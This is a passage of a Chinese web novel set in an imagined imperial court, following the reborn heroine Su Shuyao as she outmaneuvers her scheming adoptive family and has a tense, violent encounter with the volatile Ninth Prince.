李鸢冷声回怼过去：“夫人如此高雅出尘，想必夫人的嫁妆铺子从不赚钱，每天往外发钱了？” 在座的门阀夫人，谁手上没几个嫁妆铺子，谁手上没点自己的生意。 虽然明面上都是管事在打理，但真正操控者，还是各位夫人。 越是家世不凡的，手上的铺子越多。 照万氏这么说，有铺子的人都是庸俗了。 万氏这句话，算是一杆子打翻了一船的人。 万氏愣了愣：“夫人，你误会了，我的意思不是说不能赚钱，只是不要在花草上赚钱罢了。舒窈，咱侯府门风高雅，不允许你做出如此污秽粗俗的事来！” “我做主，你把花草铺子关了，赚了长公主的钱也退回去。” 这句话有些无理取闹了。 苏舒窈淡淡地笑着：“夫人怎么不去书肆，阻止书肆老板卖书啊？” 万氏愣了愣：“我为什么要去书肆？” 苏舒窈笑道：“知识高尚，照夫人的意思，书肆老板卖书牟利，更是将高尚的知识铜臭化了。” 立刻有夫人附和：“对啊，画家、书法家的作品以后也免费送人了吧，卖古琴的也赶紧关门了吧，不然可真是冲撞夫人的‘风雅’了！” “照夫人的说法，大家都别吃柴米油盐，直接喝西北风算了！” 万氏脸色一变，她没想到这些夫人会帮着苏舒窈说话。 她上前一步，要抢走苏舒窈手上的花笺。 苏舒窈往后一退，躲开了万氏的手： “花开正艳，夫人只看到表面风雅，却不知培育一株花草需要的心血与劳力。园丁培育出鲜花，也是靠双手挣钱，不偷不抢，凭什么不能卖钱了？拿着‘铜臭’说事，倒显得夫人这辈子没吃过米似的，难道侯府的柴米油盐，是从‘风雅’里钻出来的？” 苏舒窈淡淡一笑，半点没有被责问的局促，从容地和万氏讲着道理。 语气平和，却又像是蔷薇花枝，看似柔弱，内里却带着尖厉的小刺，稍不注意，便会扎人满手血。 一众夫人轻视地看着万氏，李鸢冷嗤一声：“嘴上说着风雅，背地里却用最粗暴的手段打压养女，万夫人可真是双标啊！” 万氏从来没有觉得如此难堪。 手指颤抖起来，竟然连佛珠也捏不住了。 她不敢和这些夫人对呛，只敢看着苏舒窈，呐呐：“真是不孝、不孝......” 苏明珠拉着万氏：“母亲，这里的夫人都帮着姐姐，我们再是争辩，也比不过对方人多。还不如回去，回到府上，私下里教育姐姐，姐姐如果不听劝，让她把花草铺子交出来......” 万氏看着站在众夫人中间的苏舒窈，咬了咬牙龈。 也不知道苏舒窈给这些夫人灌了什么迷魂汤，这些夫人全都帮着她说话。 回了府上就不同了，回了府，一切她说了算，她让苏舒窈交出花草铺子，苏舒窈难道还敢忤逆？ 忤逆，便给她扣上一顶不孝的帽子！ 想到这里，万氏脸色稍霁。 苏明珠看向李鸢，脸上露出一抹巴结的笑来。 李鸢可是李大儒的女儿，不可得罪。 “李夫人，想是有些误会，说开了就好。” 李鸢睨了她一眼：“没有误会，你们一家子有多歹毒偏心，我们全都看见了！” 她直视着苏明珠，骂道：“你从中挑拨，也不是个好的！” 苏明珠：“......” 被人这么直接戳破，苏明珠脸上挂不住，眼眶一红，蓄满了委屈的泪水。 看见苏明珠委屈的样子，苏明沛一下就怒了：“这位夫人，你胡说八道些什么？有没有教养？！” 苏明珠拉着人：“大哥，别为我和李夫人伤了和气。” 李鸢冷笑一声：“苏世子有教养？苏世子如果有教养，就不会拜我父亲为师不成，和我家门房打起来了！” 忽然有人笑道：“这位就是苏世子啊？我可是听说，李大儒宁愿担上‘知恩不报’的骂名，都不愿意指点苏世子文章呢！” “我也听说了，就是那个还没拜师，便摆上庆功宴那个苏世子对吧！” “哎哟，果然家风纯正啊，不准养女开花草铺子，倒允许嫡长子和门房打架！” “听说嫡女的香料铺子还卖假货呢！” 万氏终于忍受不住，带着儿女，落荒而逃。 第60章 失算 看着万氏带着人离开，李鸢有些担心：“舒窈，你待会儿回去，必定会被为难了。” 古代女子便是这般，在家从父，出嫁从夫，未出嫁之前，父母就是天。 万氏仗着养母的身份，是可以对苏舒窈进行任意欺压的。 在外李鸢可以帮忙，等回了府，苏舒窈就是有三头六臂，也逃不开万氏的手掌心。 “要不，你别回去了，到我府上去，一直住到出嫁为止。或者住在长公主府也行，白姐姐最是不喜万氏那种内里藏奸之人，你住在长公主府，万氏绝对不敢为难你。” “多谢鸢姐姐。”苏舒窈浅浅行了个礼，“我也不能一直待在外面，总是要回去的。” 李鸢脸上露出一抹焦急：“可是回去，万氏又折辱你怎么办？” 苏舒窈笑了笑：“要不这样，还请鸢姐姐帮个忙，请长公主赐我两个伶牙俐齿的丫鬟，有长公主的人在，想必夫人应该不会再无理取闹了。” “这个主意好！”李鸢拍了拍手，“你等着，我去给白姐姐说。” “多谢鸢姐姐。” 有时候，亲人还不如萍水相逢的朋友。 她以前想不通，现在明白了，对人好，要分人的。侯府那群人自私卑鄙，怎么都捂不热，他们只会索求，从不感恩，更不懂什么是回报，好似贪婪的吸血虫，附在身上便铆足劲将人吃干抹净。 这样的亲人，及时扔了才好。 李鸢刚离开，就有丫鬟来通报：“各位夫人、小姐，太子殿下来了。” 听说太子来了，诸位夫人激动起来，这可是储君啊，必然要去拜会一番。 “舒窈，一起？”李夫人热情相邀。 “多谢李夫人。”苏舒窈跟在李夫人身后，远远地看着太子一行人。 太子刚过而立，眉眼间褪去了少年的青涩，眼中含着笑意，没有高高在上的骄矜，反而很是平易近人。 他像是一位温和的兄长，温声和身边的三皇子和九皇子说话。 “小九也到了年龄，还没定下王妃，可以让姑母帮忙相看。”太子的手搭在楚翎曜肩上，轻轻地拍着， 太子的手刚触碰到楚翎曜的肩，他好似一只应激的猫，原本松垮的锦袍忽然绷紧起来。 楚翎曜微微低着头，唇角勾起。 看似在笑，眸底却翻涌出一抹浓烈的厌恶。 三皇子也跟着笑道：“九弟成家之后，便会稳重了。” 楚翎曜唇角微微勾起，看似在笑。 在外人看来，兄友弟恭，一派祥和。 苏舒窈知道，太子、三皇子、九皇子之间，暗藏汹涌。 上一世，众人皆传言，九皇子是个十足的疯子，杀人如麻，嗜血成性。 只要得罪他的人，都没有好下场。 偏偏他极受皇帝宠信，就算屠了人满门，皇帝也只不过训斥几声。 百官暗地里称他为“玉面修罗”，对他的名讳讳莫如深。 苏舒窈好奇的是，因为什么事，九皇子会弑父杀兄。 从现在看来，九皇子并不是毫无人性的凶兽，他也是能忍耐的。 比如现在，他虽然不喜太子触碰，但脸上依然挂着笑。 周围有贵女议论：“九皇子丰神俊朗宛如神君降临，也不知道谁那么好运，能嫁给九皇子？” “听说九皇子性格残暴......” “看起来不像啊？” “定是那些个丑男误传，这般神仙殿下，看着就是一副脾气很好的样子。” 光看外表，楚翎曜就像浸在山间清泉的一块美玉，或是秋日里刚成熟汁水饱满的梨，夏日里刚从水中伸展的一朵含苞未放的荷尖。 没有亲眼看到，怎么也不会相信他杀人如麻、性格扭曲、内心阴暗。 也许是苏舒窈的眼神太热烈，楚翎曜抬起头，朝着苏舒窈看过来。 视线交汇的一瞬间，苏舒窈低下头避开。 楚翎曜收回目光，长睫掩盖下，藏着一丝一闪而过的戾气。 门阀夫人们带着自家姑娘到太子面前请安，苏舒窈转身步入一旁的梅林。 八月的梅林郁郁葱葱，走在树荫下，很是凉爽。 苏舒窈慢慢走着，没一会儿，便觉得身后传来一股彻骨的寒意，让人后背发凉。 她停下脚步，转过身来。 梅树后，藏着一抹青色的身影。 楚翎曜站在树后。 被发现之后，他背着手，从树后走了出来。 少年锦衣革带，青色锦袍裹着劲瘦的身躯，出众的五官秾丽深邃，仿若梅林里的仙灵。 唇角微弯，眼底藏着那一抹深不见底的阴翳，给他强加一份神秘感，虽然知道危险，却又让人忍不住靠近。 苏舒窈转过身，浅浅行了一礼：“九皇子殿下。” “你好虚伪。”楚翎曜手中握着一把短刀，正在雕刻一根木簪：“外面装得手足情深，背地里，恨不得侯府全家立刻去死吧。” 他的语气淡淡的，像一只矜贵慵懒的猫，正懒洋洋看着一群老鼠窝里斗。 苏舒窈笑了笑：“殿下慧眼，一下就把我看穿了。” 楚翎曜缓缓走过去，低头看着苏舒窈。 走近之后，苏舒窈需要仰起头，才能看到楚翎曜的眼睛。 没想到九皇子竟然这么高，至少五尺四以上。 楚翎曜的语气带了几分恶趣味：“你想不想除掉万氏，拿着刀，插入她的胸口，看着万氏跪在地上向你讨饶。” 他的声音低沉，很好听，尤其是隔近之后。 语气带了几分蛊惑，像是诱人堕落的水妖。 “只要你求我，我就帮你。我不会让人知道，是你杀了人。” “将那些欺辱过你的人，一刀一刀凌迟。” “多谢殿下，我怕血。”苏舒窈淡然拒绝。 楚翎曜的眼神暗了下去。 他不喜欢苏舒窈，从第一眼看到就很不喜欢。 他酷爱欣赏猎物惊慌无措的样子，或是在他面前自以为是地耍着小聪明，为了一点蝇头小利出卖亲人。 他也喜欢看到亲人之间自相残杀、两败俱伤。 可是苏舒窈每次都是这么镇定、从容。 天大的事落在面前，都是这般波澜不惊。 楚翎曜想把她弄脏，揉碎...... 而不是像现在这样，每次泼出的脏水，都被她轻易躲过。 “原本互相憎恨，为什么还要费力维持体面，不累吗？” 苏舒窈浅浅一笑，她往前走了一步，拉近两人之间的距离，用只有两人能听见的声音道： “殿下不喜太子和三皇子，还要表现出兄友弟恭。殿下不累，我也不累。” 这句话触碰了楚翎曜的逆鳞，他的瞳仁像是一团化不开的雾，忽然闪出一丝致人死地的狠戾。 少年伸手掐上了苏舒窈的脖颈，手中短刀抵了上去：“你在找死！” 楚翎曜的手很漂亮，手指修长，骨节分明，掐人的时候，也是这般赏心悦目。 手上的力气越来越大，苏舒窈渐渐感觉呼吸困难。 短刀抵着皮肤，触感冰凉。 虽然看不见，但能清晰感受，再多一分，利刃便会划破皮肤、刺向要害。 楚翎曜死死地盯着人，想从对方的眼中看出惊恐、求饶，想看到被刀抵住的肌肤微微发颤。 然而，他再一次失算。 苏舒窈艰难地踮起脚，双手捧着他的脸，吻了上去。 第61章 暗中 一吻落下，楚翎曜像是被封了全身穴道的木偶，瞬间便失去了对身体的掌控。 他愣在当场，眼神迷茫。 他不懂，为什么猎物会做出这种行为。 他不懂，这个吻的意义。 在他的预设里，苏舒窈应该惶恐，颤抖着身躯，语无伦次向他求饶，祈求他饶恕她的无礼...... 她会流泪，花了妆，乱了钗发，她甚至有可能被吓尿...... 是否饶了她，要看她的表现，更要看他的心情...... 他会像往常一样，高高在上地戏弄猎物...... 可是，为什么会出现这样的情况？ 苏舒窈的脑子里究竟在想些什么？ 哪一个高门淑女会这般放荡？ 哦，对了，威远侯府不是高门，威远侯府就是个破落户！ “哐当——”短刀落在地上，掐住脖颈的手指也松懈开来。 苏舒窈深吸一口气，被掐得发白的脖颈也恢复了血色。 她赌对了，楚翎曜不懂什么是爱，他和她一样，从来没有被爱过。 所以，在面对忽如其来的示好，他惊慌失措。 楚翎曜上一世弑父杀兄，更多的不是出自本意，而是被利用。 他不是一个纯粹的疯子，他尚存理智。 苏舒窈抬起头，想看看他的眼睛，眼神是否如之前那般阴沉偏执。 苏舒窈什么都没看到。 楚翎曜转过身，轻轻一跃，飞上枝头，不见了踪影。 他落荒而逃。 他想逼迫苏舒窈，他想欣赏苏舒窈惊慌失措的模样，到了最后，狼狈逃窜的，却是他自己。 苏舒窈捡起地上的短刀：“殿下，短刀我先帮您收着，下次见面还您。” 无人回答。 楚翎曜轻功不错，早就没影了。 苏舒窈看着手中的短刀，刀刃锋利，白净的刀身光可鉴人，刀柄上镶嵌着宝石。 一把很贵重的短刀，不像是能随意丢弃的玩意儿。 九殿下逃跑的太过仓皇。 苏舒窈抬起手，揉了揉唇瓣。 不知道想到什么，她笑了笑，将短刀收了起来。 在梅林里又走了一会儿，李鸢找了过来：“舒窈，你怎么在树林里？” “我刚找了白姐姐，这是她给你的两个丫鬟。” 两个十七八岁的丫鬟从李鸢背后站了出来，一个叫皓月，一个叫晴空。 “奴婢见过苏大小姐。” 苏舒窈从兜里抓了一把金瓜子递过去：“今后要麻烦两位姐姐了。” 皓月接过金瓜子，笑得像朵花：“大小姐，不麻烦，您只管指使奴婢。” ~ 卧房内，长公主倚靠在榻上，一旁的小丫鬟帮她揉着头：“瑜儿，这么多姑娘，有没有看上的？” 谢瑜坐在一侧，温和又安静：“母亲，都是庸脂俗粉，不及母亲万分之一。” 长公主捂着嘴笑起来：“尽会胡说八道，我都多大年纪了，怎么和那些小姑娘比？” 谢瑜：“母亲在我眼中，永远十八岁。” 他眼神清明，这话从他嘴里说出来，一点也不轻佻。 长公主拉着谢瑜的手，轻轻拍了起来：“好孩子，真孝顺。” 她觉得儿子哪哪都好，知礼节、懂进退，说话讨人喜欢，为什么谢阁老写信来说，儿子难以管束？ 还写了十多页，让她一定要多加管教，先别让他做官，拘着多读书。 想是谢阁老要求甚高吧。 她的儿子不需要当阁老，没必要那么严苛。 “母亲知道你的孝心，看到有喜欢的女子告诉母亲，咱家娶媳妇不看重门第，只要人品好就行。” 谢瑜点头：“多谢母亲，儿子知道了。” “瑜儿出去玩吧，我休息一会儿。”长公主头风严重，晒不得太阳，每日这个时候都要针灸。 “母亲身体不适，瑜儿当在一旁侍疾，怎么能贪玩。” 长公主被感动一塌糊涂，越发觉得儿子孝心十足，强硬把人赶了出去，谢瑜这才不情不愿告退。 谢瑜是太子重点拉拢的人，他一出现，便被请到太子面前。 “谨之，正在说你，你就来了。” 谨之是谢瑜的字。 “谨之，这是三弟、九弟。” “三殿下，九殿下。”谢瑜朝着两位皇子行礼。 三皇子摆了摆手：“谨之叫我一声三表兄就行，都是一家人，不必如此客气。” 寒暄之后，谢瑜看向楚翎曜：“九表弟，怎么脸这般红？是不是热，我让人那些冰来。” 楚翎曜抿着唇，高挺的鼻梁冒了几颗汗，两颊微红。 他眼神幽深，不知道在想什么，没有说话，只是摆了摆手。 “我带九表弟去厢房休息一下吧，九表弟状态不太好。”谢瑜带着楚翎曜去了厢房。 太子看着谢瑜的背影，若有所思。 谢瑜看着温和，实际上有些滑不溜手，递出的橄榄枝，他是一个不接，还能巧妙地避开。 不知道是巧合，还是故意...... ~ 苏舒窈带着长公主府的两个丫鬟准备回去，抬眼就碰到谢瑜。 “苏大小姐。” “谢郡王。” 谢瑜一个眼神，身旁的两个丫鬟自动退开，转过身去。 苏舒窈笑了笑，换了个称呼：“谢老板。” 谢瑜双眸一眨，一双清淡温润的眼睛瞬间活络起来，浑身气质一变，又恢复成之前那个穿金戴银的纨绔谢老板。 “苏姑娘什么时候看出来的？” 苏舒窈低头：“没看出来，谢老板主动和我说话，我才知道。” “你倒是谦虚。”谢瑜笑道：“刚才威远侯夫人都快晕厥了，你还坐得那么稳当，不怕回家被为难？” 苏舒窈回道：“长公主殿下赐了两个丫鬟，回家应该不会有问题。” 谢瑜眉眼一勾：“哈哈哈，我也觉得你不会被为难。” 苏舒窈：“谢老板想一想被苏明珠缠上怎么办吧？你骗她那么惨，如果我没猜错，她定要想方设法以身相许。” 谢瑜一双眼睛眯起来，嘴边噙着一抹戏谑：“她那个样子，纳进府当个花瓶都不够格。” “如果她想进门，大可以试试。” 两人说了两句话便分开了，谢瑜摇身一变，又变回温润谦和的世家公子。 辞别谢瑜，苏舒窈带着两个丫鬟离府，忽然觉得后背凉飕飕的，好似被野兽盯上的感觉。 转头去看，就看到楚翎曜站在不远处，冷冷地看着她。 苏舒窈转身走了过去，想把短刀还给他。 结果楚翎曜转身就跑，一眨眼，又没了踪影。 第62章 不孝 威远侯府。 万氏是被抬着回府的，苏明珠一直陪在万氏身旁，一会儿帮她揉额头，一会儿又给她打扇，看起来很忙。 苏明珠忙了半天，什么都没帮上，万氏依然觉得她最贴心。 被抬进府之后，又请了医师把脉，针灸，开药。 忙活了好一阵，万氏的心绪才稍微平复。 万氏睁开眼的第一句话，不是责骂苏舒窈，而是看向苏明珠：“明珠，那批粮食你打算什么时候出手？” 在长公主府丢的脸实在太大，苏明珠都快忘了温年来要钱的事。 母亲对银钱的在意程度，可见一斑。 苏明珠赶紧保证：“母亲，女儿打算再过几天，最高价的时候出手。” 现在出手能赚钱，但是赚的还不够，她打算等两天价格再高点的时候卖，利益最大化。 “母亲，粮食卖了之后，女儿打算在南街置办几个铺子，女儿觉得，南街现在虽然人少，但之后肯定会好起来的。” 万氏点了点头，看向苏明珠的目光也充满了欣赏。 上一世，南街的铺子价格翻了几番，现在买入，稳赚不赔。 不愧是她的亲生女儿，眼光就是独到。 香料铺子应该也是被奸人所害，才失误了。 有她在一旁指导，定会把失去的全都拿回来。 苏明珠小心翼翼地看着万氏的脸色，见她没有动怒，暗自松了一口气。 她守在榻边，一勺一勺给万氏喂药：“母亲，这回姐姐真的太过分了，当着这么多世家夫人的面，不帮着母亲说话，反而和母亲顶嘴。” 万氏捏着佛珠的手一顿：“简直不孝至极！” 苏明珠又道：“也不知道其他夫人怎么想的，姐姐这般不孝，那些夫人还帮着姐姐说话。” 万氏脸色冷了下来：“巧言令色，惯会笼络人心罢了！” “等她回来，定要罚她跪祠堂！还要让她把花草铺子交出来！” 苏明珠：“母亲慈悲，要是别家府上的女儿不孝，早就送去乡下了，母亲只是罚她一罚，希望姐姐迷途知返，能好生改过。” 万氏深吸一口气。 要不是想着苏舒窈和元家还有婚事，她早就...... 万氏闭上眼，回忆起梦中的上一世，元家因为被牵连进晋王贪墨案，被抄了家，平反之后，元祖才和苏舒窈成了亲。 也怪苏舒窈不管好元祖，成亲之后，元祖还来招惹明珠，苏舒窈死后，明珠和元祖成了亲。 元祖也是个贱人，不过是瞧着威远侯府出息了，明沛和明添最宠明珠，才放弃苏舒窈。 苏舒窈死后，元祖又伤春悲秋思念亡妻。 真是虚伪。 这样的男人，配不上明珠。 等明沛和明添有了出息，威远侯府会比元家更有权势，这门亲，可以不要了。 既然元家的亲事不要，那苏舒窈也没用了...... 她低头看了眼苏明珠：“苏舒窈一回府，马上让她到我院子里来！” 苏明珠心中窃喜：“是，母亲，我马上就让人去门上守着。” ~ 苏舒窈是申时末回的府，刚下马车，就看见小丫鬟在门口探头探脑。 秋霜问道：“大小姐，是先回院子。” 苏舒窈摇摇头：“夫人可能等不及，我带着皓月和晴空先去一趟夫人的春景园。” 她话音刚落，吴妈妈便出现在面前：“大小姐，夫人有事叫你。” 春景园里，万氏、威远侯、苏明沛、苏明添都到齐了。 苏舒窈一进门，便听见万氏的呵斥声：“不孝女，还不快跪下！” 紧接着，一个青花茶盏飞过来，砸在脚边。 碎瓷飞溅。 苏舒窈退后两步，避开碎瓷。 紧接着，威远侯的声音响起：“大胆孽女，母亲教育你，你还敢躲！” 苏舒窈笑了笑，转头看向皓月。 皓月上前一步，朗声道：“侯夫人、侯爷，不知大小姐何罪之有，一句话没问便要对她喊打喊杀？！威远侯府也太没规矩了！” 苏明芷上前一步，一巴掌朝着皓月甩过去：“你这贱婢，有什么资格在母亲面前大呼小叫？！本小姐给你点颜色瞧瞧......” 苏明芷威风刚耍了一半，便被皓月捉住手，单手反剪，被一脚踹到地上。 苏明芷没想到会被丫鬟打，眼中满是不可思议：“你个贱婢，竟敢打我！” 苏明芷冲过来，还要对皓月动手。晴空上前钳制住她，皓月抬手“啪啪”就是两耳光。 苏明芷气得浑身发抖，“大哥、二哥、母亲，爹爹，快帮我把她俩按住，我们杀了她们！” “苏舒窈，你身边的丫鬟简直无法无天！” 看着苏明芷出尽洋相，苏舒窈这才站出来：“明芷，不可鲁莽，这两位姐姐可是长公主殿下身边的人，得罪不得。” 皓月和晴空这才走到万氏身边，行了个礼：“夫人安康，奴婢俸长公主殿下之命前来侍奉大小姐，特来拜会夫人。” 整个厢房安静下来，隐约可以听见急促愤怒的呼吸声。 苏明芷颤抖着嘴唇：“长公主的人......” “不好意思三小姐，冒犯了。”皓月朝着苏明芷行礼：“刚刚还手也是迫不得已，还望三小姐见谅。” 苏明芷捂着被打的半张脸，整个身体都在颤抖：“就算是长公主的人，也是奴婢，怎么敢对主子动手的......” 万氏出声打断道：“来人，扶三小姐回房休息，三小姐有些不舒服。” 吴妈妈带着人，将苏明芷连拖带拽地拉走了。 万氏这才看向皓月和晴空：“不知长公主殿下为何让两位前来？” 皓月笑道：“长公主殿下对苏大小姐甚是喜欢，又见大小姐性子弱，唯恐大小姐被欺负，所以派奴婢二人跟着大小姐。” “夫人，刚才不知为何让大小姐跪下啊？有什么事说清楚再跪不迟？” “要是硬要给大小姐强加一个不孝的名声，长公主殿下可不会坐视不理的。” 万氏深吸一口气，气得浑身颤抖。 威远侯双眼闪过一抹精光，长公主对苏舒窈这般在意，说不定是看上她，要是苏舒窈嫁给谢小郡王，那侯府振兴就有希望了。 威远侯背着手，看向万氏的眼神也多了两分严厉：“夫人，这就是你的不对了！怎么还没问清楚，就对舒窈喊打喊杀？！” 万氏憋屈得差点咬碎满口银牙。 第63章 征用 皓月再次开口：“夫人，奴婢想知道，夫人为什么对大小姐喊打喊杀？ 万氏看了眼威远侯，威远侯凛着脸，一派正直。 苏明沛和苏明添盯着地上，不知道在看哪里。 只有苏明珠一直守在她身边，握着她的手。 万氏淡淡道：“本夫人有恙，作为长女，不在床前侍疾，却出门玩耍，难道不是不孝？” 皓月：“夫人中气十足，不像是有恙的样子。” 苏明珠开口道：“医师刚刚看过诊，难道有假？皓月姑娘要是不信，自然可以随便调查。” 皓月继续反驳：“夫人有恙，都没派人通知大小姐，大小姐怎么知道？” 她看向苏明珠、苏明沛几人：“身为子女，母亲生气而不安抚，依奴婢看，这才是不孝！” 万氏垂着眼眸，捏着身下的床褥，呼吸急促。 一个公主府的奴婢，也敢对着侯府的主子大呼小叫！ 只盼着明沛明添早日出仕，威远侯府才不会被这些阿猫阿狗随意践踏。 “两位，是本夫人误会了，这件事到此为止，就这样吧。” “舒窈，带两位姑娘回你的院子去吧。” “多谢夫人。”苏舒窈站在一旁，静静地看着万氏从愤怒、隐忍、最后妥协。 她像一个旁观者，冷淡地观察着万氏的表情。 她知道，万氏把一切都寄托在苏明沛和苏明添身上，等着他们出仕之后，再来报复。 万氏注定要失望了。 这一世，苏明沛和苏明添，绝对不会再有上一世的机缘。 回到倚兰居，苏舒窈又赏了皓月和晴空十两银子：“多谢两位姑娘，只要两位姑娘保我平安，我绝对不会亏待。” “多谢大小姐！”皓月和晴空接过银子，相视一笑。 苏舒窈吩咐下去：“从今天开始，小厨房再次开放，为了庆祝，今儿吃烧鹅吧。” 自从侯府的主子天天吃水煮菜之后，为了避免万氏找麻烦，倚兰居的小厨房便关了，厨娘都怕自己会失业。 现在听到吩咐，厨娘又可以大显身手了：“大小姐，您有没有吃过脆鱼，吃黄豆长大的鱼，肉质是脆的，可以一鱼八吃，回锅鱼、凉拌鱼片、油炸鱼皮......” 厨娘说得投入，把自己都给说馋了。 苏舒窈笑道：“行，安排一桌脆鱼席面，就当给两位姐姐接风了。” 倚兰居再次热闹起来。 秋霜有些担心，悄悄拉着苏舒窈说话：“大小姐，你这般大张旗鼓和夫人作对，就不怕夫人责难？” 万氏平时礼佛，却一点也不慈悲。 相反，万氏佛口蛇心、心狠手辣。 就怕万氏对大小姐不利。 苏舒窈想了想：“夫人可没有闲心对付我，夫人马上又要损失惨重了。” 秋霜有些不解，但大小姐说了，她就相信。 苏舒窈离开后，春景园的主子们个个面如锅底。 万氏垂着眼，眼神空洞漆黑，摩挲着佛珠的手指也越转越快。 苏明珠的脸色也不好，一片青绿。 只有威远侯的脸上挂着笑：“今日你们去长公主府，发生了什么？舒窈是被长公主看上了？” 万氏冷笑一声：“发生了什么？我们侯府的脸都被舒窈给丢完了。” “丢脸？丢了什么脸？！”威远侯对脸面极为看重，忽然就严肃起来。 苏明珠柔声道：“姐姐竟然在长公主府做生意，赏花那么风雅的事，被她给玷污了！” 威远侯：“那为什么长公主还赐她两个丫鬟？” 万氏和苏明珠一时无语。 苏明沛和苏明添也不想说话。 最后还是苏明珠开口：“父亲，长公主应该是被姐姐的皮相迷惑了。姐姐没有什么才华，只会低贱的商贾之道，就算因为皮相暂时得了长公主青眼，相处久了，长公主发现上当，反而会生气。” 万氏也点头：“明珠说得对，以色侍人终究上不得台面。” 威远侯才不管这些，只要苏舒窈能进入长公主府，为妻为妾为奴为婢都行。 只要威远侯府能攀上长公主就行。 “夫人狭隘了，苏舒窈能被长公主看上，那是她的福气。夫人，这段时间万万不可再苛责舒窈，以免长公主生气。” 万氏闭上眼，再次深呼吸。 掐着佛珠的指尖泛着白。 苏明珠道：“父亲别忘了，姐姐和元家还有亲事呢。” “反正她也不想要元家那门亲事，如果被长公主看上，元家那门亲事，想办法退了吧。”威远侯看向苏明珠：“哦，对了，明珠不是挺喜欢元祖的，要不，看看能不能换一换亲，让明珠嫁过去。” 苏明珠脸上挂着笑，身体微微颤抖。 父亲对子女没有爱，在父亲眼中，只有价值。 失去价值，就会被丢弃。 万氏开口道：“侯爷，你想换，也要看元家愿不愿意。” 威远侯：“要是舒窈被长公主看上，这门亲不换也必须退了！” 绝对不能失去攀附长公主的机会。 “夫人，退婚这事，就交给你了！” 威远侯说完，转身就走了。 “咔嚓”一声，万氏手中的佛珠被捏碎了。 如今长公主赐了两个丫鬟，万氏想朝着苏舒窈发火，也要掂量。 万氏深吸一口气，看向两个儿子：“明沛，你先回去读书，明添，你也回去练剑。” 等两个儿子走了，万氏握住苏明珠的手，道：“明珠，你放心，母亲肯定会帮你找一门好亲事，绝对比舒窈的好。” 苏明珠看着万氏，眼中流露出一抹孺慕之情：“母亲，女儿都听母亲的，姐姐真的太过分，女儿不想要姐姐了......” 苏明珠心头忽然涌上一抹深深的挫败感—— ——明明她才是重生的，她对即将发生的事了如指掌，为什么回回失败的都是她。 苏舒窈傻乎乎的，什么都不知道，每次都能全身而退...... 难道苏舒窈真是运气好？ 她试探过，苏舒窈不是重生的啊？ 她不服！ 万氏眼中闪过一丝狠戾，“她在府中，肯定跑不了。” 要她的命，易如反掌。 像上一世那般，用点药，毁了清誉，长公主肯定会避之不及。 威远侯府的荣辱，自有明沛和明添撑起，根本不需要攀附长公主。 两人正在商议，忽然翠红慌慌张张跑了进来：“二小姐，不好了，二小姐！” 苏明珠眉心一皱：“又怎么了？” 翠红道：“二小姐，仓库那边来了不少官兵，说要征收我们粮食！” 苏明珠和万氏交握在一起的双手一抖：“你......你说什么？官兵凭什么要征用我的粮食，为什么要征用我的粮食？！” 翠红被苏明珠狰狞的面孔吓了一跳，嘴唇都哆嗦起来：“朝廷下令，禁止商人利用灾情牟利，二小姐放心，官爷说了，征用的粮食，会按市场价给予补偿......” 苏明珠脑子里“嗡”的一声响，眼前一黑。 她好不容易稳住身体，咬紧牙关没晕过去，万氏却先晕了。 第64章 病娇 “母亲你怎么了，母亲，来人，快去叫医师来！ 春景园再次兵荒马乱起来。 好不容易把万氏弄醒，万氏醒来的第一句话便是：“快去看看粮食怎么了？” 那可是两万两银子啊，要是真的被官兵征用，最后连两千两都拿不到！ 苏明珠顾不得万氏，带着人就往仓库跑去。 苏舒窈听说这个消息的时候，正在喝酒。 侯府天天吃水煮菜，倚兰居的肉香传出去，惹得不少小丫鬟守在门口偷偷闻香气。 苏舒窈端起酒杯，浅浅抿了一口：“夫人的心，要被伤透了。” 苏明珠坑了万氏这么多银子，不知道两人母女情深的戏码，还能上演多久？ 秋霜出去打听回来，一张脸笑得像朵花儿：“大小姐真是料事如神，夫人被气晕了，又叫了医师。” 苏舒窈拿起帕子轻轻擦了下嘴角：“夫人病了，当女儿的，也该去侍疾了。” 皓月和晴空互相看了一眼，眼底露出一抹笑来。 大小姐看着不温不火，其实非常有主意，绝对不会任人拿捏，相反，她会找时机，精准反击。 就像现在，不是去侍疾，是去看笑话。 春景园内人人自危，伺候的丫鬟婆子，大气都不敢出。 “夫人这是怎么了？”苏舒窈走到床边，看着脸色灰白的万氏，唇角微微弯起。 皓月左右看了一眼，“二小姐三小姐世子和二少爷都没来啊？” 然后朗声道：“还是我们大小姐有孝心，听说夫人生病，饭都没吃就来了。” “夫人有大小姐在床前尽孝，真是三辈子修来的福气啊。” 万氏一口老血憋在胸口。 她心烦意乱，一个人也不想见，尤其是苏舒窈，看到她心里更烦。 有长公主的人在，万氏不便动怒：“他们要来，是我不让他们来的。舒窈，你也先回去，我没什么，歇一会儿就好。” 苏舒窈笑着应了：“那夫人多休息，我去看看药。” 医师正在隔壁厢房写药方，苏舒窈走过去，递出一张银票：“夫人心中有火，多加一点黄莲。” 医师四下看了一眼，赶紧收起银票：“大小姐说的是，这黄莲肯定要多加一些的。” 提笔写下：黄莲30克。 苏舒窈笑了笑：“先生医术高明，夫人的病，要劳烦先生了。” 送走医师，苏舒窈回了院子，刚坐下，忽然听得“哐当”一声巨响。 院子大门被人一脚踹开，木屑四溅。 一群穿着飞鱼服的劲装侍卫冲了进来，腰牌上“锦衣卫”三个金字泛着摄人的冷光。 腰间的绣春刀出鞘，雪白的刀身映着一张张惊慌失措的脸。 “大小姐......”秋霜上前一步，挡在苏舒窈身前，“大小姐，你快跑。” 绣春刀杀人，跟切菜似的。 据说，绣春刀出鞘，总是要见点血的。 秋霜不知道这群锦衣卫为什么要闯进来，她只知道要保护大小姐。 皓月和晴空互相看了一眼，站在原地未动。 长公主的名头，不足以撼动这群杀人如麻的锦衣卫。 为首的锦衣卫走到苏舒窈面前，冷声道：“大小姐，劳烦跟我们走一趟。” 秋霜抖索着身子，因为恐惧，眼泪什么时候流下来的都不知道：“我，我是大小姐，我......跟你们走。” 苏舒窈拉着她的手，轻轻安抚：“别担心，九殿下请我过去说说话，不会为难我的。” “你在家里看好我的兰花。”又看向皓月和晴空：“你们先熟悉一下院子，有什么不懂的可以问王妈妈。” 苏舒窈站起来，裙裾像波涛一般蔓延。 她的脸上完全没有一丝惧怕，仿佛去的不是镇抚司，而是去踏青。 锦衣卫也有些惊讶，他们哪次上门拿人不是鸡飞狗跳，第一次看到这般镇定的姑娘。 心底生出几分敬意。 苏舒窈看向为首的锦衣卫：“大人，稍等片刻，我拿样东西就走。” “快一点，咱可没什么耐心！” 